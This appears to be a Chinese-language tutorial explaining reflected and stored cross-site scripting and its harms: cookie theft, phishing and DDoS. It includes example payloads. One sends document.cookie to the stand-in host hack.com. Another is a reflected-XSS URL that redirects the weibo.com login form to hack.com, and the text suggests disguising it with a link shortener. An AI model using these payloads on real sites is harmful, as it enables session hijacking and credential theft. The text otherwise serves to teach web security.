XSS 叫跨站脚本攻击(Cross Site Script),那么XSS原本应该叫做CSS,但是由于CSS的简称已经被连级样式表 使用了,所以就换个称谓XSS。 
      
      
      
      
        
          为什么叫做跨站脚本攻击呢?
        
      
      
      
        它的意思就是在别人的网站上嵌入脚本,而这个脚本原本不是属于这个网站的。这个解释很直观吧。
      
      
      
      
      
        
          怎么嵌入脚本呢?
        
      
      
      
         
      
      
      
        比如这么个搜索结果页,当用户搜索test的时候,页面会显示“搜索关键词:test”
      
      
      
      
        这个时候,这里的test就很有可能会出现xss漏洞,如果该页面是直接将用户输入的东西“返回”到页面上,那么存在的xss漏洞就可以这样利用:
      
      
      
      
        输入:<script>alert(1);</scrip>
      
      
      
        那么页面就会跳出alert(1);
      
      
      
        这种XSS叫做反射性XSS。
      
      
      
      
      
        再谈论另外一种场景,每个网站都有反馈框。允许用户反馈数据给后台。
      
      
      
      
        而这个后台一般都是管理员进行审核,会在管理后台展示。
      
      
      
      
        如果一个<script>var x=new Image(); x.src=”
        
          http://hack.com?cookie=
        
        ”+document.cookie;</script>的反馈数据由用户输入
      
      
      
      
        然后这个数据“直接”返回到管理后台上,那么这个时候,管理后台管理员的cookie就被作为参数传递到
        
          http://hack.com
        
         了。后面
      
      
        黑客
      
      
        就可以使用cookie来做登录管理后台了。
      
      
      
      
        这种XSS由于攻击代码存储进数据库了,所以叫做存储型XSS。
      
      
      
      
      
      
        
          危害
        
      
      
      
        一般来说,存储型XSS的危害性大于反射型XSS。因为反射型XSS只会影响到自己,而存储型的XSS可能会影响到网站的其他用户。
      
      
      
      
      
        XSS可以如上面例子说的:
      
      
      
      
        
          1 盗取cookie
        
      
      
      
      
        
          2 钓鱼
        
      
      
      
        比如我将一段代码注入进某个网站的支付页面,这段js代码做的事情是,动态控制这个支付页面的Form表单,比如将这个form表单的html替换成目标网站一个相似的html。
      
      
      
      
        或者另一个案例是使用反射型XSS,我预先生成一个url,这个url是一个有反射型xss
      
      
        漏洞
      
      
        的页面。比如
      
    
      document.getElementById("loginForm").action="http://hack.com"http://weibo.com/login?username=<script>document.getElementById("loginForm").action="http://hack.com"</script>
    
    
      
        然后我将这个页面通过企鹅的群邮件发给企鹅群中的所有人,一旦有人点击这个链接,那么就会进入微博登陆页,万一再输入用户名密码,那么这个人的用户名密码就会被盗了。当然,这个案例有个问题,url太假了,怎么办?短链接服务。现在有很多厂商提供了短连接的服务。那么最后的链接是实际看不出来问题的。
      
      
      
      
        
          3 DDOS攻击
        
      
      
      
        当然这个前提是有大量用户已经被XSS攻击了,所以他们浏览的页面已经被植入了代码,这个代码的作用就是循环向一个网站发送请求,如果有xss漏洞的这个网站是有大量用户的,比如微博,那么后一个被DDOS攻击的网站就真心惨了。
      
      
      
      
        总之,XSS的危害就在于网站的页面可以被随意嵌入js代码。
      
    


 
					 
					